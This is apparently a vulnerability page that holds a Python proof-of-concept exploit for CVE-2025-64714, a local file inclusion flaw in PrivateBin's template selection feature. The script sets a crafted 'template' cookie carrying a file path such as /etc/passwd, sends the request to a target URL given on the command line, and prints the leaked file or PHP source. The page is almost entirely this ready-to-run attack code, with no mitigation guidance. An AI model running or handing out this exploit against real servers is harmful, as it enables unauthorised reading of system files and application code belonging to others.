CVE-2025-64714 PrivateBin 模板切换功能本地文件包含漏洞

#!/usr/bin/env python3 """ CVE-2025-64714 PoC - PrivateBin Template Selection LFI Note: Requires templateselection to be enabled in configuration """ import http.cookiejar import urllib.request import sys def exploit_lfi(target_url, file_path): """ Exploit Local File Inclusion via template cookie Args: target_url: Base URL of vulnerable PrivateBin instance file_path: Path of file to read (e.g., /etc/passwd) """ # Create cookie jar to manage cookies cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) # First request to establish session and receive template cookie try: response = opener.open(target_url) html = response.read().decode('utf-8') print(f"[*] Connected to target: {target_url}") print(f"[*] Response status: {response.status}") except Exception as e: print(f"[!] Failed to connect: {e}") return None # Create malicious template cookie with file path # Encode path to handle special characters encoded_path = file_path.replace('/', '%2f') # Add malicious cookie template_cookie = http.cookiejar.Cookie( version=0, name='template', value=file_path, port=None, port_specified=False, domain=response.geturl(), domain_specified=False, domain_initial_dot=False, path='/', path_specified=True, secure=False, expires=None, discard=True, comment=None, comment_url=None, rest={}, rfc2109=False ) cj.set_cookie(template_cookie) # Second request with malicious cookie print(f"[*] Sending request with template cookie: {file_path}") try: response = opener.open(target_url) content = response.read().decode('utf-8', errors='ignore') # Check if file content was included if 'root:' in content or '<?php' in content: print("[+] SUCCESS! File content leaked:") print("-" * 50) # Extract PHP file content start = content.find('<?php') if start != -1: end = content.find('?>', start) if end != -1: print(content[start:end+2]) else: # Print raw content for /etc/passwd style files print(content[:1000]) else: print("[-] File content not found in response") print("[*] Response preview:", content[:500]) except Exception as e: print(f"[!] Exploit failed: {e}") return content if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-64714_poc.py <target_url> <file_to_read>") print("Example: python cve-2025-64714_poc.py http://localhost/ /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_lfi(target, file_path)